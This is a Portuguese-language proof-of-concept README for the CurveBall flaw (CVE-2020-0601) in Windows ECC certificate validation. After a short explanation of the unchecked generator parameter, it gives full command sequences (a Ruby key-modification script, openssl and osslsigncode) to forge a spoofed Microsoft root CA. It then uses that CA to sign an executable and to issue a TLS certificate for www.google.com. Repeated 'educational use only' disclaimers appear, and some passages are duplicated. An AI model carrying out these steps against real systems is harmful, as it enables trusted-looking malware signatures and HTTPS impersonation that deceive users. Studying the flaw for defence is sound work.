
CurveBall (CVE-2020-0601) - PoC CVE-2020-0601, ou comumente referida como CurveBall, é uma vulnerabilidade na qual a assinatura de certificados que utilizam criptografia de curva elíptica (ECC) não é verificada corretamente. Atacantes podem fornecer geradores artesanais, contornando a validação, o antivírus e todas as não-proteções.
CVE-2020-0601, comumente chamada de CurveBall, é uma vulnerabilidade na qual a assinatura de certificados que usam criptografia de curva elíptica (ECC) não é verificada corretamente.
A ECC depende de diferentes parâmetros. Parâmetros padronizados são usados para muitas curvas. No entanto, a Microsoft não verificou todos esses parâmetros, como os gênios que são... O parâmetro G (o gerador) NÃO foi verificado, e um invasor pode, portanto, fornecer um gerador artesanal. Assim, quando a Microsoft tenta validar o certificado em relação a uma AC confiável, ela procura apenas chaves públicas correspondentes e, então, bum, usará o gerador do certificado.
A NSA explica claramente o impacto devastador desta vulnerabilidade e mais aqui. Aperte os cintos e mãos à obra!
O MicrosoftECCProductRootCertificateAuthority.cer é, por padrão, uma autoridade certificadora raiz confiável (AC) usando ECC no Windows 10. Qualquer coisa assinada com este certificado será automaticamente confiável.
Que fique dito: "Eles estão sempre observando..." então Por favor, use isso apenas para fins educacionais e de pesquisa.
Requisitos mínimos
openssl 1.1.0
ruby 2.4.0
Se você estiver interessado nos detalhes matemáticos da vulnerabilidade, leia mais aqui.
Para falsificar o certificado, defina os seguintes parâmetros:
d' = 1
G' = Q
De modo que Q = Q' = d'G'.
Crie um certificado com a mesma chave pública e parâmetros de uma AC confiável. Este será usado como nossa AC falsificada. Defina o gerador para um valor onde você conheça a chave privada. Você pode facilmente definir o gerador como a chave pública e ter uma chave privada definida como 1, já que Q = dG.
Em seguida, crie uma solicitação de assinatura de certificado com as extensões que deseja usar, por exemplo, assinatura de código ou autenticação de servidor.
Assine esta solicitação de certificado com sua AC falsificada e chave da AC, e adicione as extensões de uso.
Empacote a solicitação de certificado assinada (agora um certificado regular) com a AC falsificada, e você terá um certificado assinado e confiável.
Quando o Windows verificar se o certificado é confiável, ele verá que foi assinado por nossa AC falsificada. Então, ele analisa a chave pública da AC falsificada para comparar com as ACs confiáveis. Em seguida, simplesmente verifica a assinatura de nossa AC falsificada com o gerador da AC falsificada - este é o problema.
Se você optar por abrir seu novo certificado assinado e confiável no Windows, ele não o reconhecerá como confiável, pois não foi vinculado a nada, portanto, não usará a AC falsificada. O certificado deve sempre se apresentar com a AC falsificada.
Por favor, use isso apenas para fins educacionais e de pesquisa.
Extraia a chave pública da AC e modifique-a de acordo com a vulnerabilidade:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Gere um novo certificado x509 baseado nesta chave. Este será nossa própria AC falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado de assinatura de código, que assinaremos com nossa própria AC.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Esta solicitação geralmente é enviada para ACs confiáveis, mas como temos uma falsificada, podemos assiná-la nós mesmos.
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
Assine sua nova CSR com nossa AC falsificada e chave da AC. Este certificado expirará em 2047, enquanto a AC confiável real da Microsoft expirará em 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
A única coisa restante é empacotar o certificado, sua chave e a AC falsificada em um arquivo PKCS12 para assinar executáveis.
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
Assine seu executável com o arquivo PKCS12.
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
Por favor, use isso apenas para fins educacionais e de pesquisa. Extraia a chave pública da AC e modifique-a de acordo com a vulnerabilidade:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
Gere um novo certificado x509 baseado nesta chave. Este será nossa própria AC falsificada.
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
Gere uma nova chave. Esta chave pode ser de qualquer tipo que você desejar. Ela será usada para criar um certificado SSL, que assinaremos com nossa própria AC.
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
Em seguida, crie uma nova solicitação de assinatura de certificado (CSR). Esta solicitação geralmente é enviada para ACs confiáveis, mas como temos uma falsificada, podemos assiná-la nós mesmos.
Se desejar alterar o nome de domínio, edite CN = www.google.com para CN = www.example.com dentro de openssl_tls.conf.
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
Assine sua nova CSR com nossa AC falsificada e chave da AC. Este certificado expirará em 2047, enquanto a AC confiável real da Microsoft expirará em 2043.
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
Agora você pode usar cert.crt, cert.key e spoofed_ca.crt para servir seu conteúdo. Novamente, lembre-se de adicionar o spoofed_ca.crt como uma cadeia de certificados na configuração HTTPS do seu servidor.
Veja o exemplo de uso em [https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js).
Por favor, use isso apenas para fins educacionais e de pesquisa.